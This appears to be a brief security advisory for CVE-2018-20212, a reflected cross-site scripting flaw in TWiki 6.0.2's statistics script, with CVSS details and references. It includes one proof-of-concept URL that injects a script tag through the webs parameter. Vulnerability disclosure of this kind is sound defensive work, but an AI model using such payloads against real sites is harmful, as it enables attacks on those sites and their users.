TWiki 6.0.2 Cross Site Scripting

2019.01.08

Credit: Jiawang Zhang

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-20212

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# bin/statistics in TWiki 6.0.2 allows XSS via the webs parameter(CVE-2018-20212)

## Vulnerability Type
Cross Site Scripting (XSS)

## Vendor of Product:
twiki

## Affected Product Version
twiki - 6.0.2

## Affected Component
twiki/bin/statistics

## Attack Type
Remote

## Attack Vectors
/twiki/bin/statistics?webs=<script>alert(1)</script>

## Credit 
This vulnerability was discovered by Jiawang Zhang Coordination Center of China (CNCERT/CC)

## Product Download
http://twiki.org/cgi-bin/view/Codev/DownloadTWiki

## References
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20212

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TWiki 6.0.2 Cross Site Scripting

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